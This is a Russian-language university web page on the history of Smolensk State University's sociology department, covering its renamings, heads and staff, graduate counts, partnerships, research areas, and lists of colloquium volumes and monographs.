

## **ИСТОРИЯ КАФЕДРЫ СОЦИОЛОГИИ**

### **СМОЛЕНСКОГО ГОСУДАРСТВЕННОГО УНИВЕРСИТЕТА (СмолГУ)**

**Кафедра социологии, философии и работы с молодежью Социологического факультета СмолГУ**

**Изменения названия кафедры:**

**- с 2003 г. по 1 февраля 2012 г. кафедра социологии факультета управления СГПУ;**

**- с 1 февраля 2012 г. по 1 сентября 2015 г. кафедра социологии Социального факультета СмолГУ;**

**- с 1 сентября 2015 г. по 1 сентября 2017 г. кафедра социологии и философии Социального факультета СмолГУ**

**;**

**- с 1 сентября 2017 г. по настоящее время - кафедра социологии, философии и работы с молодежью Социологического факультета СмолГУ**

**ПОЧТОВЫЙ АДРЕС КАФЕДРЫ: 214000, г. Смоленск, ул. Пржевальского, 4. Смоленский государственный университет, социальный факультет (учебный корпус № 3, четвертый этаж), кафедра социологии (кабинет № 412). E-mail (кафедры социологии): sociologiya-1@yandex.ru ТЕЛЕФОН СОЦИАЛЬНОГО ФАКУЛЬТЕТА: (4812) 70-02-52.**

**История кафедры социологии началась в 2000 году**, когда был основан самый молодой факультет Смоленского государственного университета с целью подготовки управленческих кадров по двум специальностям: «Социология» и «Менеджмент организации».

Сама идея создания отделения социологии и соответствующей кафедры появилась из попыток организации в Смоленском педагогическом университете (ныне Смоленском государственном университете) славянского отделения, ориентированного на обучение студентов из трех братских славянских государств России, Украины и Беларуси. Итоговое решение – готовить социологов. С 2000 года преподаватели работали на кафедре философии и социологии. **В 2003 году кафедра социологии была выделена в самостоятельную и вместе с кафедрой экономики и менеджмента структурно вошли в факультет управления. На факультете управления СмолГУ (ныне факультет экономики и управления) кафедра социологии успешно развивалась до 1 февраля 2012 года.**

**10 декабря 2010 года кафедра социологии вместе со всеми коллегами и студентами отметила юбилей – 10 лет факультету управления .**

**В соответствии с ПРОГРАММОЙ СТРАТЕГИЧЕСКОГО РАЗВИТИЯ Федерального государственного бюджетного образовательного учреждения высшего профессионального образования «Смоленский государственный университет» на**

**2012 – 2016 годы** в ходе оптимизации направлений подготовки студентов создан новый **СОЦИАЛЬНЫЙ ФАКУЛЬТЕТ** в который структурно вошла кафедра социологии вместе с кафедрой социальной работы (психолого-педагогического факультета) и новой кафедрой социальной педагогики и организации работы с молодежью (созданной на базе кафедры специальной педагогики расформированного факультета начального и специального образования). Таким образом,

### **СОЦИАЛЬНЫЙ ФАКУЛЬТЕТ**

сформирован в конце 2011 года на базе существующих и уже зарекомендовавших себя специальностей, «разбросанных» на ранее существовавших факультетах, с целью консолидации направлений подготовки социального блока. Кафедра социологии в истории Смоленского государственного университета станет кафедрой уже второго, вновь созданного, самого молодого факультета одного из старейших вузов России (СмолГУ создан 7 ноября 1918 года).

**СОЦИОЛОГИЧЕСКИЙ ФАКУЛЬТЕТ.** С 1 сентября 2017 г. Социальный факультет переименован в Социологический, произошло сокращение кафедры работы с молодежью с переходом ее функций и ППС на кафедры: социологии и философии; социальной работы. Кафедра получила новое название: кафедра социологии, философии и работы с молодежью.

### **КАФЕДРА СОЦИОЛОГИИ, ФИЛОСОФИИ И РАБОТЫ С МОЛОДЕЖЬЮ с 1 сентября 2017 года**

( официальная дата переименования Социального факультета в СОЦИОЛОГИЧЕСКИЙ ФАКУЛЬТЕТ) продолжает свою образовательную и научную деятельность. В планах кафедры дальнейшее развитие новых социологических направлений на уровне бакалавриата и организация подготовки магистров социологии.

**Заведующие кафедрой социологии:**

## **История кафедры социологии СмолГУ**

Добавил(а) Социология

21.12.10 05:42 - Последнее обновление 02.04.23 00:25

---

- с 2003 по 2007 доктор философских наук, профессор Егоров Александр Григорьевич (2007-20014 гг. проректор по научной работе СмолГУ);

- с 2007 по 2009 кандидат философских наук, доцент Грибер Юлия Александровна;

- с 2009 по 2011 кандидат философских наук, доцент Кажанов Олег Александрович;

- с 2011 по 2014 доктор исторических наук, кандидат философских наук, доцент Гавриленков Алексей Федорович.

- с 2014 по 2020 доктор философских наук, профессор Егоров Александр Григорьевич

- с 2020 по настоящее время кафедрой руководит Ивенкова Ольга Александровна - кандидат философских наук, доцент.

**На кафедре социологии преподают (выделены преподаватели работающие на кафедре с момента ее создания):**



## История кафедры социологии СмолГУ

Добавил(а) Социология

21.12.10 05:42 - Последнее обновление 02.04.23 00:25

---

- |  |                                   |
|--|-----------------------------------|
| 9. доцент КАЖАНОВ Олег Александрович<br>философских наук, доцент                     | кандидат                          |
| 10. декан факультета, доцент СУХОВА Елена Евгеньевна<br>социологических наук, доцент | кандидат                          |
| 11. профессор МАКАРОВ Сергей Николаевич<br>социологических наук, доцент              | доктор                            |
| 12. доцент АНИСЕНКОВА Татьяна Викторовна<br>педагогических наук, доцент              | кандидат                          |
| 13. доцент ДАВЫДОВА Анна Александровна<br>педагогических наук, доцент                | кандидат                          |
| 14. зам. декана, доцент ПУЗЫРЁВА Любовь Валерьевна<br>филологических наук / ---      | кандидат                          |
| 15. доцент ГУСЕВ Евгений Иванович<br>философских наук, доцент                        | кандидат                          |
| 16. доцент ПИМЕНОВ Виталий Юрьевич<br>философских наук, доцент                       | кандидат                          |
| 17. доцент МУРАВЬЁВА Мария Евгеньевна  | кандидат философских наук, доцент |

20. лаборант ХОМЯКОВ Андрей Леонидович

лаборант кафедры

**Также преподают отдельные дисциплины:**

**В разные годы на кафедре преподавали: профессор ГАВРИЛЕНКОВ Алексей Федорович** **доктор истор. н.,**

**к. филос. н., доцент;**

доцент ШАМИЛЁВА Ирина Алексеевна

–

доцент;

ЗОРИНА Ксения Алексеевна - лаборант кафедры;

доцент ФОМЧЕНКОВА

Галина Алексеевна – к.с.н., доцент;

доцент ЛЯМИНА Татьяна Евгеньевна - к.ф.н., доцент;

ЛЯМЕЦ Леонид Леонидович - к.тех.н.,

доцент;

ЗАХАРОВ Максим Алексеевич – к.п.н., доцент; ВОСТРИКОВ С.В. – д.и.н., профессор;

МОРОЗОВ И.В. – к.с.н., доцент; ХЛУДОВА Л.В. – к.ф.н., доцент; МЕДВЕДЕВ К.Б. –

к.с.н., доцент; КИЛЬКЕЕВ В.Н. – к.ф.н., асс.;

**БАЗЫЛЕВА Е.В. – асс.,**

лаборант кафедры; ЧЕРКАСОВА Юлия Сергеевна – асс.;

**СТАРОСТИНА Ольга Николаевна – ст. преподаватель;**

ДОРОНИН Александр Сергеевич - к.с.н.;

СУВОРОВА Ирина Алексеевна - лаборант кафедры.

## История кафедры социологии СмолГУ

Добавил(а) Социология

21.12.10 05:42 - Последнее обновление 02.04.23 00:25

---

**Первый выпуск социологов состоялся в 2004 году.**

**Хронология выпусков:**

### СПЕЦИАЛИСТЫ

**п/п** **Год выпуска** **Очная форма обучения** **Заочная форма обучения** **Всего**

**1** **2004** **24** **-**

**24 специалиста**

**2** **2005** **42** **-**

**42 специалиста**

**3** **2006** **36** **-**

**36 специалистов**

## История кафедры социологии СмолГУ

Добавил(а) Социология

21.12.10 05:42 - Последнее обновление 02.04.23 00:25

---

4 2007 59 1  
60 специалистов

5 2008 31 1  
32 специалиста

6 2009 36 20  
56 специалистов

7 2010 28 21  
49 специалистов

8 2011 41 22  
63 специалиста

## История кафедры социологии СмолГУ

Добавил(а) Социология

21.12.10 05:42 - Последнее обновление 02.04.23 00:25

---

9 2012 36 -  
36 специалистов

10 2013 34 -  
34 специалиста

11 2014 30 -  
30 специалистов

12 2015 24 25  
49 специалистов

**ИТОГО СПЕЦИАЛИСТОВ ----- 421 ----- 90 ----- 511 специалистов**

**БАКАЛАВРЫ (код направления подготовки 39.03.01 - Социология; наименование н  
аправления - прикладная социология)**

13 2015 31 23  
54 бакалавра

14 2016 25 16  
41 бакалавр

## История кафедры социологии СмолГУ

Добавил(а) Социология

21.12.10 05:42 - Последнее обновление 02.04.23 00:25

---

15 2017 26 10  
36 бакалавров

16 2018 19 - 19  
бакалавров

17 2019 18 17  
35 бакалавров

18 2020 24 12  
36 бакалавров

19 2021 19 -  
19 бакалавров

**ИТОГО БАКАЛАВРОВ -- 162 ----- 78 ----- 240**  
бакалавра

**МАГИСТРЫ (код направления подготовки 39.04.01 - Социология; наименование**



**ВСЕГО ВЫПУЩЕНО НА 1 СЕНТЯБРЯ 2021 ГОДА:**

**- 511 социологов специалистов (421/12 выпусков/ очного обучения; 90 /4 выпуска/ заочного обучения);**

**- 240 бакалавров социологии (162/7 выпусков/ очного обучения; 78 /5 выпусков/ заочного обучения);**

**- 31 магистров социологии (8/1 выпуск/ очного обучения; 23/5 выпусков/ заочного обучения).**

**ВСЕГО ПОЛУЧИЛИ ДИПЛОМЫ СОЦИОЛОГА □ 782 студентов**

(591 очного обучения, 191 заочного обучения)

**Аттестационная комиссия во главе председателей:**

**2004-2009 гг. – профессор Гречихин Владимир Георгиевич;**

**2010 г. профессор Данакин Николай Семенович;**

**2011-2013 гг. - профессор Бахарев Виктор Владимирович;**

**2014 - профессор Гречихин Владимир Георгиевич;**

**2015-2017 гг. - профессор Бахарев Виктор Владимирович, 2018-2021 гг. - профессор Буланова Марина Борисовна )**

отмечают в целом:

- высокий уровень ответов студентов-специалистов по социологии, методике преподавания социологии и педагогическим дисциплинам (2004-2015 гг.).

- качество представленных выпускных квалификационных работ и магистерских диссертаций. Выпускники кафедры соответствуют уровню подготовки специалистов-социологов, бакалавров социологии, магистров социологии установленным государственным образовательным стандартам.

***Развитие кафедры стало возможным, благодаря пяти факторам:***

**1). Творческая и профессиональная работа всех преподавателей и сотрудников кафедры.** Во взаимодействии с деканатом факультета (до 2012 г. факультета

управления, с 2012 г. социального факультета, с 2017 г. социологического факультета) и при поддержке ректората и ученого совета СмолГУ были воплощены многие идеи по развитию кафедры

2). **Сотрудничество с университетом г. Хагена (Германия).** Открытие немецкими коллегами при Смоленском государственном педагогическом университете Центра дистанционного обучения, специализировавшегося в тот период на подготовке студентов-социологов, осуществлявшейся на немецком языке по немецким программам и завершившейся присвоением международной академической степени Bachelor of Arts, стало одним из факторов развития социологического образования в регионе. Прежде всего, хагенские профессора в соответствии с соглашением о межвузовском сотрудничестве непосредственно включились в процесс научно-педагогической деятельности по обучению студентов-социологов СГПУ, а затем и СмолГУ. Их участие ситуативно разрешало проблему преподавательских кадров по дисциплинам социологического цикла, а в последствии двое выпускников Хагенского заочного университета стали сотрудниками кафедры (Грибер Ю.А., Двойнев В.В.).

3). **Сотрудничество с научным сообществом республики Беларусь.** Наиболее продуктивным оказалось взаимодействие с Беларусью, благодаря участию белорусской стороны непосредственно в процессе подготовки студентов-социологов. Профессор БГУ (г. Минск) М.А. Можейко ежегодно читает объемные курсы лекций по социологии и философии. Содержательны и плодотворны научные контакты. Белорусские коллеги – постоянные участники заседаний международного коллоквиума, авторы статей в выпусках его материалов. Смоленские студенты неоднократно участвовали в научных конференциях, проводимых в Белоруссии.

4). **Научно-педагогические связи с крупнейшими научными и образовательными центрами России (Москва и Санкт-Петербург).** Прежде всего, их участие в учебном процессе подготовки социологов, учебно-методическая помощь, повышение квалификации преподавателей посредством участия в заседаниях Учебно-методического объединения (МГУ) и переподготовки в Федеральном Центре СПбГУ, проведение социологических исследований (с СПбГУ – ежемесячные мониторинги общественного мнения по выборке и заданию ВЦИОМ; с МГУ – массовые и экспертные опросы по заданиям Института «Общественная экспертиза»).

5) **Взаимодействие кафедры с Центром социологических исследований «Новаленсо», Межрегиональным маркетинговым центром «Смоленск».** В исследованиях Центра принимают участие наши выпускники и студенты-социологи.

Возглавляет центр социологических исследований доцент кафедры социологии Баринов Дмитрий Николаевич - доктор философских наук, доцент.

### **Научная работа:**

В 2004 г. кафедра социологии приняла участие в подготовке аналитических материалов по проекту «Потенциал российских ВУЗов в реформе высшего образования» по заказу Института «Общественная экспертиза» и был организован при кафедре центр социологических исследований «Мониторинг – Консалтинг – Маркетинг – Проект», который работал до 2007 года. Центр проводил исследования по заказам Смоленской областной администрации, Министерства образования России, службы «Циркон», маркетинговой исследовательской компании Бизнес Аналитика, других маркетинговых организаций. В работе центра активно задействовались аспиранты и студенты-социологи.

**С 2004 по 2019 годы преподавателями кафедры социологии защищены 4 докторских, и 6 кандидатских диссертаций.**

**На данный момент развитие потенциала кафедры позволяет перейти на качественно новый уровень исследовательской работы. С 2007 года кафедра активно взаимодействует с Центром социологических исследований «Новаленсо», Межрегиональным маркетинговым центром «Смоленск». Преподаватели кафедры совместно со студентами проводят социологические исследования, сотрудничая с ведущими социологическими и маркетинговыми центрами страны: Институтом социологии РАН, Российским холдингом маркетинговых и социологических исследований (РОМИР) и др.**

**Принято решение и в 2012 году при кафедре социологии СмолГУ была создана социологическая лаборатория.** Знания, полученные студентами во время лекционных, семинарских и практических занятий в университете, проверяются во время социологических исследований, которые проводятся как в рамках деятельности лаборатории, так и на договорной основе с ведущими социологическими и маркетинговыми центрами России. Таким образом, студенты получают возможность не только участвовать в исследованиях, но и получить опыт для проведения

социологических исследований в будущем.

Кафедра сотрудничает с Институтом социологии РАН, Российским холдингом маркетинговых и социологических исследований (РОМИР) и другими организациями.

По заказу органов государственной и муниципальной власти, фирм, предприятий кафедра социологии и социологическая лаборатория проводят исследования, используя различные методы: анкетирование и интервьюирование, контент-анализ, фокус-группа, экспертный опрос и другие.

### ***Социологическая лаборатория проводит исследования по нескольким направлениям:***

#### *1) исследования в политической сфере:*

- изучение политической обстановки в Смоленской области и стране;
- предвыборные предпочтения смолян накануне региональных выборов;
- вклад политических партий в социальное развитие региона;
- имидж и репутация региональных отделений ведущих политических партий;
- вклад политических партий в развитие ЖКХ региона;
- молодежь во власти;

- молодежь и политика;
  
- молодежь и выборы;
  
- предвыборные обещания депутатов областной думы: честность или борьба за голоса;
  
- отношение населения области к региональным выборам;
  
- политическая грамотность населения области;
  
- социально-политическая обстановка в области.

### 2) *исследования в духовной и социальной сфере:*

- изучение криминогенной обстановки в области в целом, а также в муниципальных образованиях;
  
- молодежь и проблемы наркотизации и алкоголизации в Смоленской области;
  
- профилактика наркозависимости в Смоленской области;
  
- толерантность на территории Смоленской области;

- проблемы девиации молодежи на Смоленщине;
  
- ценностные ориентации молодежи Смоленщины;
  
- проблемы развития школьного образования и системы Болонского процесса в области;
  
- изучение профориентационной работы вузов в школах области;

### 3) *исследования в экономической сфере:*

- изучение отношения предпринимательства к органам власти;
  
- взаимодействие власти и бизнеса;
  
- перспективы и проблемы модернизации экономического потенциала Смоленской области;
  
- перспективы и проблемы развития Смоленской деревни;
  
- покупательная способность населения Смоленской области в условиях экономического кризиса;
  
- Смоленские товары: качество и перспективы продаж

Помимо текущих занятий кафедра ежегодно организует чтение лекций для студентов отделения социологии преподавателями из г. Москвы (проф. М.А. Розов), г. Хагена (проф. Егер, проф. Бертельс, проф. Фукс Хайнритц). В 2005 г. проф. А.Н. Кочергиным (МГУ) прочитан спецкурс для аспирантов «Методика диссертационного исследования». С лекциями и выступлениями на видео конференциях и круглых столах выступают ученые Польши, США, ФРГ, Японии и др. стран.

**Проведено более 30 международных коллоквиумов по теме «Социальные трансформации» и изданы сборники материалов (на 1 сентября 2021 года)**

**Библиотека международного коллоквиума «Социальные трансформации»**

1. Очерки социально-политической трансформации / под ред. А.Г. Егорова. – Смоленск, 1998. – 188 с.
2. Социальные трансформации (Выпуск 1): Материалы международного коллоквиума (23 ноября 2001 г.) – Смоленск: СГПУ, 2001. – 100 с.
3. Социальные трансформации (Выпуск 2): Материалы международного коллоквиума. – Смоленск: СГПУ, 2002. – 146 с.
4. Социальные трансформации (Выпуск 3): Материалы международного коллоквиума. – Смоленск: СГПУ, 2002. – 152 с.
5. Социальные трансформации (Выпуск 4): Материалы международного коллоквиума. – Смоленск: СГПУ, 2003. – 312 с.
6. Социальные трансформации (Выпуск 5): Материалы международного коллоквиума. – Смоленск: СГПУ, 2003. – 223 с.
7. Социальные трансформации (Выпуск 6): Материалы международного коллоквиума «Социальные трансформации: образовательные и научные коммуникации в контексте Болонского процесса». – Смоленск: СГПУ, 2004. – 280 с.
8. Социальные трансформации (Выпуск 7): Материалы коллоквиума «Социальные трансформации: религиозное сознание в условиях либерально-демократических преобразований». – Смоленск: СГПУ, 2004. – 180 с.
9. Социальные трансформации (Выпуск 8): Материалы коллоквиума «Трансформация религиозного сознания и изменение социального статуса религиозных объединений в постсоветский период». – Смоленск: СГПУ, 2004. – 254 с.

10. Социальные трансформации (Выпуск 9): Материалы международного коллоквиума «Социальные трансформации: механизмы научного и социокультурного взаимодействия (Концепция социальных эстафет М.А. Розова)». – Смоленск: СГПУ, 2005. – 238 с.

11. Социальные трансформации (Выпуск 10): Материалы международного коллоквиума «Социальные трансформации: механизмы научного и социокультурного взаимодействия (Феномен экосознания)». – Смоленск: СмолГУ, 2006. – 247 с.

12. Социальные трансформации (Выпуск 11): Материалы международного коллоквиума «Социальные трансформации: механизмы научного и социокультурного взаимодействия (Феномен образования)». – Смоленск: СмолГУ, 2006. – 177 с.

13. Социальные трансформации (Выпуск 13): Социальные трансформации: материалы международного коллоквиума «Феномен социальной мимикрии: миф в сознании человека». – Смоленск: Издательство СмолГУ, 2007. – 108 с.

14. Социальные трансформации (Выпуск 14): Материалы международного коллоквиума «Феномен социальной мимикрии: многообразие видов и региональная специфика». – Смоленск: Издательство СмолГУ, 2007. – 195 с.

15. Социальные трансформации (Выпуск 15): Материалы международного коллоквиума «Феномен социальной мимикрии: многообразие видов и региональная специфика». – Смоленск: Издательство СмолГУ, 2008. – 242 с.

16. Социальные трансформации (Выпуск 16): Материалы международного коллоквиума «Социальные трансформации: искусство и массовая культура сегодня». – Смоленск: СмолГУ, 2008. – 141 с.

17. Социальные трансформации (Выпуск 17): Материалы международного коллоквиума «Высшая школа в развивающейся России: история, традиции и современные проблемы». – Смоленск: СмолГУ, 2008. – 443 с.

18. Социальные трансформации (Выпуск 18): Материалы международного colloquium «Социальные трансформации: механизмы взаимодействия инновационных процессов в различных сферах культуры». – Смоленск: Изд-во СмолГУ, 2009. – 184 с.

19. Социальные трансформации (Выпуск 19): Материалы международного colloquium «Социальные трансформации: механизмы взаимодействия инновационных процессов в различных сферах культуры». – Смоленск: Изд-во СмолГУ, 2010. – 228 с.

20. Социальные трансформации (Выпуск 20): Материалы международного colloquium «Социальные трансформации: Российско-белорусское приграничье: состояние и проблемы (материалы и документы)». – Смоленск: Изд-во СмолГУ, 2010. – 266 с.

21. Социальные трансформации (Выпуск 21): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2011. – Вып. 21: Социальные трансформации: Российско-белорусское приграничье: состояние и проблемы. – 233 с.

22. Социальные трансформации (Выпуск 22): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2012. – Вып. 22: Социальные трансформации: Российско-белорусское приграничье: состояние и проблемы. – 262 с.

23. Социальные трансформации (Выпуск 23): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2013. – Вып. 23: Социальные трансформации: Социокультурные практики музея в современной России. – 200 с.

24. Социальные трансформации (Выпуск 24): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2014. – Вып. 24: Социальные трансформации: Социокультурная динамика постсоветского города. – 154 с.

25. Социальные трансформации (Выпуск 25): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2015. – Вып. 25: Социальные трансформации: Социокультурные трансформации: этика и современный город. – 120 с.

26. Социальные трансформации (Выпуск 26): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2016. – Вып. 26: Социальные трансформации: Смысложизненные ориентации современной молодежи. – 132 с.

27. Социальные трансформации (Выпуск 27): сборник научных статей / под ред. В.М. Шиндлер, Ю.А. Грибер; отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2017. – Вып. 27: Социальные трансформации: Environmental Colour Design: Theory and Practice. – 232 с.

28. Социальные трансформации (Выпуск 28): сборник научных статей / под ред. В.М. Шиндлер, Ю.А. Грибер; отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2017. – Вып. 28: Социальные трансформации: Цветовой дизайн среды: теория и практика. – 232 с.

29. Социальные трансформации (Выпуск 29): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2019. – Вып. 29: Социальные трансформации: Социогуманитарное образование: состояние, тенденции, перспективы. – 140 с.

30. Социальные трансформации (Выпуск 30): сборник научных статей / под ред. Ю.А. Грибер, В.М. Шиндлер, А.Г. Егорова; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2019. – Вып. 30: Социальные трансформации: Первый всероссийский конгресс по цвету. – 236 с.

31. Социальные трансформации (Выпуск 31): сборник научных статей / отв. ред. А.Г. Егоров; Смоленский государственный университет. – Смоленск: Изд-во СмолГУ, 2020. –

Вып. 31: Социальные трансформации: Пространство и время повседневности. – 178 с.

32.

### **Монографии**

1. Кочергин А.Н. Проблемы научного творчества / А.Н. Кочергин. – Смоленск: СГПУ, 2003. – 149 с.
2. Розов М.А. Феномен социальных эстафет / М.А. Розов. – Смоленск: СГПУ, 2003. – 93 с.
3. Бертельс Л. Город как малая родина: триединое пространство крупных городов: Сценарий / Л. Бертельс / Пер. с нем. Под ред. А.Г. Егорова. – Смоленск: СГПУ, 2004. – 108 с.
4. Можейко М.А. Становление теории нелинейных динамик в современной культуре: сравнительный анализ синергетической и постмодернистских парадигм / М.А. Можейко. – Смоленск: СГПУ, 2004. – 238 с.
5. Образование в Смоленской области. Опыт регионализации: Коллективная монография / Т.П. Довгий, В.В. Еврасова, А.Г. Егоров, С.И. Захаренков, Е.С. Зуева / под. Ред. А.Г. Егорова. – Смоленск: СГПУ, 2004. – 125 с.
6. Славин А.В. Феномен научного открытия / А.В. Славин. – Смоленск: СГПУ, 2004. – 133 с.
7. Егоров А.Г. Малое предпринимательство: институциональная эволюция в контексте мирового и российского опыта / А.Г. Егоров, Л.А. Кузьмина, И.А. Юхименко. – Смоленск: ФГУП «Смоленская городская типография», 2005. – 300 с.
8. Кочергин А.Н. Диссертационное исследование / А.Н. Кочергин. – Смоленск: СмолГУ, 2006. – 214 с.
9. Розов М.А. Теория социальных эстафет и проблемы эпистемологии / М.А. Розов. – Смоленск: СмолГУ, 2006. – 439 с.
  
10. Кутырев В.А. Философский образ нашего времени (безжизненные миры постчеловечества) / В.А. Кутырев. – Смоленск, 2006. – 302 с.
  
11. Егер В., Майер Х.-И. Социальные изменения в социологических теориях современности; пер. с нем. В.В. Двойнева. – Смоленск: Изд-во СмолГУ, 2007. – 236 с.

12. Грибер Ю.А. Эпистема цвета в смоленской архитектуре и живописи / Ю.А. Грибер. – Смоленск: Маджента, 2008. – 298 с.

13. Кочергин А.Н. Философия и наука: грани взаимодействия / А.Н. Кочергин. – Смоленск: Изд-во СмолГУ, 2009. – 300 с.

14. Бертельс Л. Социология города / Л. Бертельс, Б. Шеферс. – Смоленск, Изд-во СмолГУ, 2012. – 206 с.

15. «Новый регионализм» и белорусско-российское приграничье: монография / под. ред И.Я. Левяша, А.Г. Егорова. – Смоленск: Изд-во СмолГУ, 2012. – 436 с.

16. Кочергин А.Н. Этюды об информации / А.Н. Кочергин. – Смоленск: ПС «PrintUP», 2013. – 296 с.

17. Образы России и Белоруссии в контексте приграничья: монография / под ред. В.Ю. Пименова. – Смоленск: Изд-во СмолГУ, 2013. – 236 с.

18. Почему и как изменяются наука и культура? / под ред. А.Г. Егорова. – М.: Новый хронограф, 2013. – 302 с.

19. Егоров А.Г. Музей в современной России (на материалах города Смоленска): монография / А.Г. Егоров, Е.Е. Сухова. – Смоленск: Изд-во СмолГУ, 2014. – 172 с.

20. Егоров А.Г. Россия и Беларусь: историческая и духовная общность. В 2 т. Т. 1 / А.Г. Егоров, Г.С. Меркин. – Смоленск: Изд-во СмолГУ, 2015. – 308 с.

21. Егоров А.Г. Россия и Беларусь: историческая и духовная общность. В 2 т. Т. 2 / А.Г.

Егоров, Г.С. Меркин. – Смоленск: Изд-во СмолГУ. 2015. – 100 с.

22. Егоров А.Г. Социальные трансформации: история и современность: монография / А.Г. Егоров, А.Н. Кочергин. – Смоленск: Издательство СмолГУ, 2016. – 386 с.

23. Социокультурные особенности региональных практик модернизации: монография / под ред. А.Г. Егорова. – Смоленск: Изд-во СмолГУ, 2016. – 196 с.

24. Сухова Е.Е. Реализация и социальные эффекты магистерской программы по направлению подготовки «Социология» (опыт Смоленского государственного университета) / Е.Е. Сухова // Трансформация высшего образования: кейсы российской магистратуры: коллективная монография / Институт образования НИУ ВШЭ; отв. ред. А.В. Гармонова, Е.А. Савелёнок. – Москва: МАКС Пресс, 2020. – 244 с.

**Преподавателями кафедры подготовлено и опубликовано более 40 учебных и учебно-методических пособий, три из которых получили гриф Учебно-методического объединения по классическому университетскому образованию:**

1). Итунина Н. Б. Социальная антропология: учебно-методическое пособие. – Смоленск: СГПУ, 2003. – 146 с.

2). Фоменков А. И. Методика преподавания социологии: учебно-методическое пособие для вузов. В 2-х ч. Ч. 1. Мин-во образования и науки РФ; Смол. гос. ун-т – Смоленск: Изд-во СмолГУ, 2008. – 203 с.; Фоменков А. И. Методика преподавания социологии: учебно-методическое пособие для вузов. В 2-х ч. Ч. 2. Мин-во образования и науки РФ; Смол. гос. ун-т – Смоленск: Изд-во СмолГУ, 2008. – 232 с.

3). Итунина Н. Б. Этносоциология: учебно-методическое пособие. – Смоленск: Изд-во СмолГУ, 2009. – 166 с.

### **Преподавателями кафедры опубликованы монографии:**

- Баринов Д. Н. Феномен социальной тревожности. Монография. – Смоленск: СФ АНО ВПО ЦС РФ «Российский университет кооперации», 2009. – 151 с.

- Баринов Д. Н. Страхи и тревоги в духовной жизни общества. Монография. – Смоленск: Маджента, 2009. – 162 с.

- Баринов Д. Н. Социальные тревоги: понятие, природа, роль в жизни общества. Монография. – М.: Изд-во «Алекс», 2010. – 204 с.

- Гавриленков А. Ф. Трансформация религиозного сознания (на материалах Смоленского края в X – начале XXI в.в.). Монография. – Смоленск, 2007. – 343 с.

- Гавриленков А. Ф. Вероисповедная политика Российской империи в 1721-1917 гг. (на материале Государственного архива Смоленской области). Монография. – М., 2008. – С. 308.

- Гавриленков А. Ф. Политика российской государственной власти по отношению к православной церкви, христианским конфессиям и авраамическим вероисповеданиям в Смоленской губернии (1721-1917 гг.). Монография. – Смоленск: Маджента, 2009. – 371 с.

- Гавриленков А. Ф. Политика государственной власти российской империи в отношении православной церкви, инославных конфессий и авраамических (нехристианских) вероисповеданий в 1721-1917 гг.: периодизация, сущность и принципы, эволюция. Монография. – М.: Московский государственный областной университет, 2010. – 262 с.

- Фомченкова Г. А. Креативные техники в социальной работе с детьми-инвалидами. Монография. – Смоленск: Изд-во Универсум, 2004. – 96 с.

- Фомченкова Г. А. Профилактика табакокурения детей и подростков в социальной и педагогической деятельности. Монография. – Смоленск: Изд-во СФ МГУС, 2005. – 193 с.

- Фомченкова Г. А. Проблема духовной безопасности молодежи как необходимое условие национальной безопасности российского общества. Монография. – Смоленск: ВА ВПВО ВС РФ, 2010. – 159 с.

Основу высшего профессионального образования по специальности 020300 (040201) – Социология (специальность утверждена приказом Министерства образования Российской Федерации от 02. 03. 2000. № 686) с квалификацией – Социолог, преподаватель социологии является соответствующий Государственный образовательный стандарт. Согласно этому документу специалист-социолог в соответствии с общепрофессиональной подготовкой должен: знать теоретические основы и закономерности функционирования социологической науки; принципы соотношения методологии и методов социологического познания; владеть методологией, методикой и техникой проведения социологического исследования; уметь использовать компьютерную технологию для обработки социологической информации; иметь представление об основных тенденциях и направлениях развития мировой и отечественной социологии; уметь квалифицированно анализировать современные социальные проблемы общества в рамках одной из отраслей социологии; владеть методикой и технологией создания и использования моделей прогнозирования социальных явлений; уметь разрабатывать и использовать социологический инструментарий для диагностики различных видов социальной деятельности; владеть инновационными технологиями в практике социологической работы. Специалист социолог должен быть подготовлен: к работе на преподавательских и административных должностях в средних и высших учебных заведениях; к профессиональной деятельности в аналитических социологических центрах, предприятиях, фирмах и консалтинговых компаниях; к работе в государственных органах федерального и муниципального уровня, требующих базового высшего

социологического образования; к работе в избирательных компаниях и центрах избирательных технологий; к деятельности в сфере Public Relations; к проектно-аналитической и экспертно-консультационной деятельности; к работе в научных институтах и социологических службах экспертом-консультантом. Исходя из требований к обязательному минимуму содержания основной образовательной программы подготовки социолога, студент должен изучить дисциплины профессиональной подготовки преподавателя и пройти, помимо производственной практики и преддипломной практики (на 3, 4 и 5 курсах 15 недель), педагогическую практику (на 4 и 5 курсах 7 недель). В итоге 22 недели практической работы в различных организациях и образовательных учреждениях за период обучения проходят студенты-социологи с представлением отчетов за каждую практику.

Рабочие программы, в основном разработанные на основе сборника примерных программ дисциплин федерального компонента цикла ОПД ГОС ВПО второго поколения МГУ им. М.В. Ломоносова, в 2006 г. были переработаны в учебно-методические комплексы, которые отражают организацию, содержание и методику учебных занятий.

Свою практическую научно-исследовательскую работу студенты начинают в четвертом семестре с курса «Методология и методика социологического исследования». В ходе изучения данного курса на протяжении двух семестров каждый студент по своему выбору темы проводит самостоятельное социологическое исследование. Практика показывает, что в основном выбор тем осуществляется по трем направлениям: социальные проблемы в обществе, проблемы молодежи и студенчества и проблемы общеобразовательных учреждений. Этот первый опыт сбора, обработки и анализа эмпирической социологической информации дает определенные умения и навыки при решении задач трех последующих производственных практик, двух курсовых работ и выпускной квалификационной работы – защиты диплома.

